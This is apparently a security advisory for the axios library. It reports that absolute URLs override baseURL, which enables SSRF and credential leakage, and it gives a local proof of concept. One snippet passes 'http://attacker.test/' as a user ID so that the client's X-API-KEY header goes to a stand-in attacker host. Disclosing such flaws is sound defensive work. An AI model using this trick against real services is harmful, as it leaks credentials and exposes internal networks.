Summary

axios Requests Vulnerable To Possible SSRF and Credential Leakage via Absolute URL

Details

Summary

A previously reported issue in axios demonstrated that using protocol-relative URLs could lead to SSRF (Server-Side Request Forgery). Reference: axios/axios#6463

A similar problem that occurs when passing absolute URLs rather than protocol-relative URLs to axios has been identified. Even if ⁠baseURL is set, axios sends the request to the specified absolute URL, potentially causing SSRF and credential leakage. This issue impacts both server-side and client-side usage of axios.

Details

Consider the following code snippet:

```js import axios from "axios";

const internalAPIClient = axios.create({ baseURL: "http://example.test/api/v1/users/", headers: { "X-API-KEY": "1234567890", }, });

// const userId = "123"; const userId = "http://attacker.test/";

await internalAPIClient.get(userId); // SSRF ```

In this example, the request is sent to http://attacker.test/ instead of the baseURL. As a result, the domain owner of attacker.test would receive the X-API-KEY included in the request headers.

It is recommended that:

When baseURL is set, passing an absolute URL such as http://attacker.test/ to get() should not ignore baseURL.
Before sending the HTTP request (after combining the baseURL with the user-provided parameter), axios should verify that the resulting URL still begins with the expected baseURL.

PoC

Follow the steps below to reproduce the issue:

Set up two simple HTTP servers:

mkdir /tmp/server1 /tmp/server2 echo "this is server1" > /tmp/server1/index.html echo "this is server2" > /tmp/server2/index.html python -m http.server -d /tmp/server1 10001 & python -m http.server -d /tmp/server2 10002 &

Create a script (e.g., main.js):

js import axios from "axios"; const client = axios.create({ baseURL: "http://localhost:10001/" }); const response = await client.get("http://localhost:10002/"); console.log(response.data);

Run the script:

$ node main.js this is server2

Even though baseURL is set to http://localhost:10001/, axios sends the request to http://localhost:10002/.

Impact

Credential Leakage: Sensitive API keys or credentials (configured in axios) may be exposed to unintended third-party hosts if an absolute URL is passed.
SSRF (Server-Side Request Forgery): Attackers can send requests to other internal hosts on the network where the axios program is running.
Affected Users: Software that uses baseURL and does not validate path parameters is affected by this issue.
